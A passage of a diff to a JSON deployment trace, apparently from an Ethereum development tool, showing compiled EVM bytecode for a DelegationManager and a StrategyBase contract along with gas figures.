8111156145c8576145c8615982565b036146205760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610ab5565b600481600481111561463457614634615982565b03610fdd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610ab5565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156146c35750600090506003614770565b8460ff16601b141580156146db57508460ff16601c14155b156146ec5750600090506004614770565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614740573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661476957600060019250925050614770565b9150600090505b94509492505050565b6000806001600160ff1b0383168161479660ff86901c601b615753565b90506147a48782888561468c565b935093505050935093915050565b60008083601f8401126147c457600080fd5b5081356001600160401b038111156147db57600080fd5b6020830191508360208260051b85010111156144cf57600080fd5b6000806020838503121561480957600080fd5b82356001600160401b0381111561481f57600080fd5b61482b858286016147b2565b90969095509350505050565b6001600160a01b0381168114610fdd57600080fd5b803561485781614837565b919050565b600080600080600060a0868803121561487457600080fd5b853561487f81614837565b9450602086013561488f81614837565b9350604086013561489f81614837565b94979396509394606081013594506080013592915050565b602080825282518282018190526000918401906040840190835b81811015610ddd5783518352602093840193909201916001016148d1565b60006060828403121561490157600080fd5b50919050565b60008083601f84011261491957600080fd5b5081356001600160401b0381111561493057600080fd5b6020830191508360208285010111156144cf57600080fd5b60008060006080848603121561495d57600080fd5b61496785856148ef565b925060608401356001600160401b0381111561498257600080fd5b61498e86828701614907565b9497909650939450505050565b6000602082840312156149ad57600080fd5b81356149b881614837565b9392505050565b6000806000606084860312156149d457600080fd5b83356149df81614837565b925060208401356149ef81614837565b929592945050506040919091013590565b600060208284031215614a1257600080fd5b5035919050565b60008060008060408587031215614a2f57600080fd5b84356001600160401b03811115614a4557600080fd5b614a51878288016147b2565b90955093505060208501356001600160401b03811115614a7057600080fd5b614a7c878288016147b2565b95989497509550505050565b60008060008060008060008060c0898b031215614aa457600080fd5b8835614aaf81614837565b97506020890135614abf81614837565b9650604089013595506060890135945060808901356001600160401b03811115614ae857600080fd5b614af48b828c016147b2565b90955093505060a08901356001600160401b03811115614b1357600080fd5b614b1f8b828c016147b2565b999c989b5096995094979396929594505050565b6000806000806000806000806080898b031215614b4f57600080fd5b88356001600160401b03811115614b6557600080fd5b614b718b828c016147b2565b90995097505060208901356001600160401b03811115614b9057600080fd5b614b9c8b828c016147b2565b90975095505060408901356001600160401b03811115614bbb57600080fd5b614bc78b828c016147b2565b90955093505060608901356001600160401b03811115614b1357600080fd5b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715614c1e57614c1e614be6565b60405290565b604080519081016001600160401b0381118282101715614c1e57614c1e614be6565b604051601f8201601f191681016001600160401b0381118282101715614c6e57614c6e614be6565b604052919050565b63ffffffff81168114610fdd57600080fd5b803561485781614c76565b60006001600160401b03821115614cac57614cac614be6565b5060051b60200190565b600082601f830112614cc757600080fd5b8135614cda614cd582614c93565b614c46565b8082825260208201915060208360051b860101925085831115614cfc57600080fd5b602085015b83811015614d22578035614d1481614837565b835260209283019201614d01565b5095945050505050565b600082601f830112614d3d57600080fd5b8135614d4b614cd582614c93565b8082825260208201915060208360051b860101925085831115614d6d57600080fd5b602085015b83811015614d22578035835260209283019201614d72565b600060e08284031215614d9c57600080fd5b614da4614bfc565b9050614daf8261484c565b8152614dbd6020830161484c565b6020820152614dce6040830161484c565b604082015260608281013590820152614de960808301614c88565b608082015260a08201356001600160401b03811115614e0757600080fd5b614e1384828501614cb6565b60a08301525060c08201356001600160401b03811115614e3257600080fd5b614e3e84828501614d2c565b60c08301525092915050565b600060208284031215614e5c57600080fd5b81356001600160401b03811115614e7257600080fd5b614e7e84828501614d8a565b949350505050565b600060208284031215614e9857600080fd5b813560ff811681146149b857600080fd5b8015158114610fdd57600080fd5b600080600080600060808688031215614ecf57600080fd5b85356001600160401b03811115614ee557600080fd5b860160e08189031215614ef757600080fd5b945060208601356001600160401b03811115614f1257600080fd5b614f1e888289016147b2565b909550935050604086013591506060860135614f3981614ea9565b809150509295509295909350565b60008060408385031215614f5a57600080fd5b8235614f6581614837565b91506020830135614f7581614837565b809150509250929050565b600060408284031215614f9257600080fd5b614f9a614c24565b905081356001600160401b03811115614fb257600080fd5b8201601f81018413614fc357600080fd5b80356001600160401b03811115614fdc57614fdc614be6565b614fef601f8201601f1916602001614c46565b81815285602083850101111561500457600080fd5b81602084016020830137600060209282018301528352928301359282019290925292915050565b600080600080600060a0868803121561504357600080fd5b853561504e81614837565b9450602086013561505e81614837565b935060408601356001600160401b0381111561507957600080fd5b61508588828901614f80565b93505060608601356001600160401b038111156150a157600080fd5b6150ad88828901614f80565b95989497509295608001359392505050565b600080604083850312156150d257600080fd5b82356150dd81614837565b915060208301356001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220d8f8a7ae09f40353d16d290ba75d56306b46ad94ae3137a6fa1888bdf0b3380664736f6c634300081c0033", - "gas_used": 4634013, - "gas_limit": 6148339, + "data": "0x60a060405234801561001057600080fd5b50604051611d33380380611d3383398101604081905261002f9161010c565b6001600160a01b0381166080528061004561004c565b505061013c565b600054610100900460ff16156100b85760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561011e57600080fd5b81516001600160a01b038116811461013557600080fd5b9392505050565b608051611bc761016c60003960008181610216015281816107a801528181610b490152610c130152611bc76000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000000000000000000000000000000000000000000081565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000000000000000000000000000000000000000000090911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a2646970667358221220164a1e6647f9a7e6acdd95fe11c2a51bff432bb3e4654da860b9e0fe8c10f37064736f6c634300081b0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9", + "output": "0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c990911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b60649190915560655